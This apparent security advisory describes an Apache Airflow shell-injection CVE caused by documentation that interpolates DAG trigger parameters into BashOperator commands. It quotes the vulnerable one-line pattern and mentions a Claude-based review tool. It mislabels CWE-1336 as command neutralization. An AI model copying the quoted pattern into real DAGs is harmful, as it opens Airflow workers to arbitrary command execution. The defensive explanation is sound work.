Apache Airflow Documentation-Induced Shell Injection

CVE-2026-42252 represents a critical vulnerability where Apache Airflow's official documentation provided unsafe code examples for passing parameters to DAGs via BashOperator without sanitization warnings. The vulnerable pattern—`BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")`—allows shell metacharacter injection when DAG trigger parameters are directly interpolated into bash commands. This affects multi-team Airflow deployments and hosted offerings where users possess `Dag.can_trigger` permissions, enabling attackers to execute arbitrary shell commands with the privileges of the Airflow worker process. The CVSS score of 9.1 reflects the ease of exploitation and severe impact, as DAG triggering is often intentionally exposed via APIs in collaborative environments.

While no specific MITRE ATT&CK techniques are mapped to this CVE, practitioners using Casky.ai should recognize this as a command injection attack pattern (aligned with CWE-1336: Improper Neutralization of Special Elements used in a Command). Although Casky's current skill mapping shows zero matches for this specific CVE, the extended reasoning capabilities of Claude AI can identify the underlying vulnerability class through code analysis. Practitioners would observe findings related to unsafe template interpolation in task definitions, unquoted variable expansion in shell contexts, and the presence of user-controllable input flowing directly into bash_command parameters. The security flaw stems from insufficient input validation and the absence of defensive guidance in documentation—key signals that code review and DAG security auditing tools should flag when analyzing templated shell commands in Airflow deployments.